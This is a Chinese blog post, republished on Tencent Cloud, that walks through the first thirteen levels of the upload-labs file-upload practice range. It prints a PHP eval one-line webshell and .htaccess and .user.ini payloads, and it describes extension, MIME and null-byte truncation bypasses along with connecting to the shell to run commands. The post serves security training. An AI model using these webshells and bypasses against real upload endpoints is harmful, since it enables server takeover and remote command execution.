前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >打靶归来详解uploadlabs靶场(上)

打靶归来详解uploadlabs靶场(上)

作者头像
网络安全自修室
发布2024-02-29 10:46:14
2910
发布2024-02-29 10:46:14
举报

1、免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2、内容速览

一、环境准备

① - 靶场的搭建

  • 下载地址:upload-labs[1]
  • upload-labs靶场曾有过一次更新,更新新添加了一道Pass-05,有一些以前的教程的题号与这篇教程不符合,请各位自行分辨
  • 本篇作者所用到的PHP版本为5.4.45,只有在做部分题目时需要修改Pass03[2]的绕过需要配置apache的httpd.conf文件

作者在小皮面板上配置均失败,只在phpstudy上配置成功,且版本限制在5.4.45

② - 准备webshell

  1. 测试用webshell
代码语言:javascript
复制
# shell.php → 测试所用的phpinfo
<?php phpinfo(); ?>

  1. 一句话木马
代码语言:javascript
复制
# webshell.php → 一句话木马
<?php @eval($_POST['pass']); ?>

③ - 说明

  1. 确认webshell上传成功的演示只在Pass01[3]演示一遍
  2. 本题使用的webshell均为最简单的phpinfo(),一句话木马getshell会在Pass02[4]演示一遍,之后将不再演示1. webshell最好设置不同名,或者在每次上传成功后删除,避免出现绕过失败但测试成功的情况
  3. Pass14~Pass21的题解见:打靶归来 - 详解upload-labs靶场(下)

二、题解

【Pass01 - 前端Javascript过滤】

题目:

绕过方法:

本题使用Javascript代码进行过滤,禁用网站的Javascript权限即可完成绕过

第一步:禁用网站权限

第二步:上传webshell,出现无法显示的图片说明上传成功

第三步:上传成功后,通过浏览器的返回结果得到webshell的存储位置,访问webshell

1ykcm

出现php版本信息代表上传成功!

ok385

g83e4

【Pass02 - MIME类型过滤】

题目:

vl1wc


绕过方法:

通过抓包修改请求头的MIME类型绕过过滤

第一步:上传webshell 第二步:抓包,修改MIME类型

第三步:上传后,访问webshell

第四步:使用蚁剑进行getshell

出现2操作说明webshell能够连接,接下来可以测试命令的执行

执行成功,可以进行getshell

0vk90

iica3

ap1cp

43413

it80m

— Pass03 ~ Pass05 黑名单检测使用特殊方法绕过

【Pass03 - 使用其它后缀名绕过】

题目:

fpr5k


绕过方法:

本题使用黑名单过滤,且只过滤原始的后缀,所以可以使用不在其黑名单中的后缀进行绕过,Pass04[5]Pass05[6]的方法可以在这一题使用,也可以使用其它的后缀名进行绕过。但前提是apache的http.conf文件做了如此[7]配置

第一步:上传后缀名为.phtml(根据配置尝试)的webshell 第二步:确认webshell是否上传成功

dtbl1

ctxtv

【Pass04 - 利用.htaccess绕过】

题目:

3d0mx


绕过方法:

本题没有过滤.htaccess文件,可以通过上传.htaccess文件来为一个webshell文件更改后缀,来帮助webshell进行绕过

第一步:构造一个.htaccess文件

代码语言:javascript
复制
<FilesMatch "1.png">
setHandler application/x-httpd-php
</FilesMatch>

第二步:将.htaccess文件上传到服务器

第三步:将WebShell文件修改为指定的名字与后缀(1.png),上传到服务器

htqa4

00wyo

第四步:直接访问更改了后缀的WebShell文件即可执行该文件(1.png)

xi4ik

【Pass05 - 利用.user.ini文件包含】

题目:

idmjf

6q2kp


绕过方法

本题没有过滤.user.data文件,且在目录下存在一个已知的php文件,可以通过.user.data文件配置使原有的php文件包含webshell

第一步:构造.user.php文件并上传

代码语言:javascript
复制
auto_prepend_file=1.png

第二步:上传指定文件名的webshell

上传后等待五分钟(默认配置),使文件生效 第三步:打开已知的php文件,即可执行webshell

cwg2a

22cjs

c32rv

— Pass06 ~ Pass11 黑名单检测修改后缀名绕过

这些类型过于简单,就不再按步骤讲解了,只会简单的分析源码和说明原理

代码语言:javascript
复制
# 以下代码是较为完整的放防御姿势,但还是有绕过方法,可以对比这个来判断有哪些最简单的绕过姿势
$file_name = trim($_FILES['upload_file']['name']);//提取文件名
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//从文件名中提取后缀名
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

【Pass06 - 利用大小写绕过】

题目:

ny095


绕过方法

缺少大小写转换,可以通过修改后缀的大小写来绕过 原理:Windows中对大小写是不敏感的

t035i

【Pass07 - 利用空格绕过】

题目:

k0wkh


绕过方法

缺少末尾去空格,可以给文件名后缀末添加空格来绕过 原理:Windows在保存文件时,会自动去除末尾的空格

swg9r

【Pass08 - 利用.绕过】

题目:

wsl9w


绕过方法

缺少末尾去.,可以给文件名后缀末添加.来绕过 原理:Windows在保存文件时,会自动去除末尾的.

jzx8u

【Pass09 - 利用::$DATA绕过】

题目:

i0jbw


绕过方法

缺少去除字符串::DATA,利用在后缀名之后添加字符串::DATA绕过

h0d7q

【Pass10 - 后缀名绕过的综合利用】

题目:

s010d


绕过方法

仔细看一下,这题的代码就是之前写出来的较为完整的防御姿势,可以说把之前出现的所有情况都考虑完全了,但仍然存在绕过方法。这一题可以使用点+空格+点绕过,我们来分析以下这种方法的可行性

moqq9

使用这种方式,可以绕过之前出现的大部分黑名单检测,所以说黑名单检测是真的不安全

【Pass11 - 双写绕过】

题目:

tel6p


绕过方法

将数据替换为空,则可以使用双写绕过,即在后缀名中嵌套后缀名进行绕过

w8grl

— Pass12 ~ Pass13 白名单检测使用00截断绕过

【Pass12 - URL路径可控的%00截断】

题目:

lc7zv


绕过方法

让URL中最后一个.后的数据符合白名单的条件,然后利用%00截断使它无效(URL中遇到%00就会认为读取结束,修改路径值让路径值在%00前的数据被当作文件名) 即:../upload/shell.php%00shell.png会被当作../upload/shell.php

第一步:修改webshell的后缀为白名单内的后缀并上传 第二步:抓包,然后修改URL值

第三步:访问%00前填入的文件名,判断是否上传成功

1g9bj

od7w8

【Pass13 - POST路径可控的0x00截断】

题目:

0fafc


绕过方法

当url中出现了0x00就会认为读取已经结束。若文件的保存路径通过表单传参,则可以在保存路径参数后加上WebShell的文件名,并以0x00结束即可实现绕过

第一步:修改webshell的后缀为白名单内的后缀并上传 第二步:抓包,然后修改POST中的路径值

第二步的详细步骤:

修改完成后发包

eyz8z

gwvo1

l3uej

wj7yd

第三步:访问0x00前填入的文件名,判断是否上传成功

下篇正在路上………

jm4ki

参考资料

upload-labs:*https://github.com/c0ny1/upload-labs*[8]

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-02-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、环境准备
    • ① - 靶场的搭建
      • ② - 准备webshell
        • ③ - 说明
        • 二、题解
          • 【Pass01 - 前端Javascript过滤】
            • 【Pass02 - MIME类型过滤】
              • — Pass03 ~ Pass05 黑名单检测使用特殊方法绕过
                • 【Pass03 - 使用其它后缀名绕过】
                • 【Pass04 - 利用.htaccess绕过】
                • 【Pass05 - 利用.user.ini文件包含】
              • — Pass06 ~ Pass11 黑名单检测修改后缀名绕过
                • 【Pass06 - 利用大小写绕过】
                • 【Pass07 - 利用空格绕过】
                • 【Pass08 - 利用.绕过】
                • 【Pass09 - 利用::$DATA绕过】
                • 【Pass10 - 后缀名绕过的综合利用】
                • 【Pass11 - 双写绕过】
              • — Pass12 ~ Pass13 白名单检测使用00截断绕过
                • 【Pass12 - URL路径可控的%00截断】
                • 【Pass13 - POST路径可控的0x00截断】
                • 参考资料
            相关产品与服务
            腾讯云服务器利旧
            云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档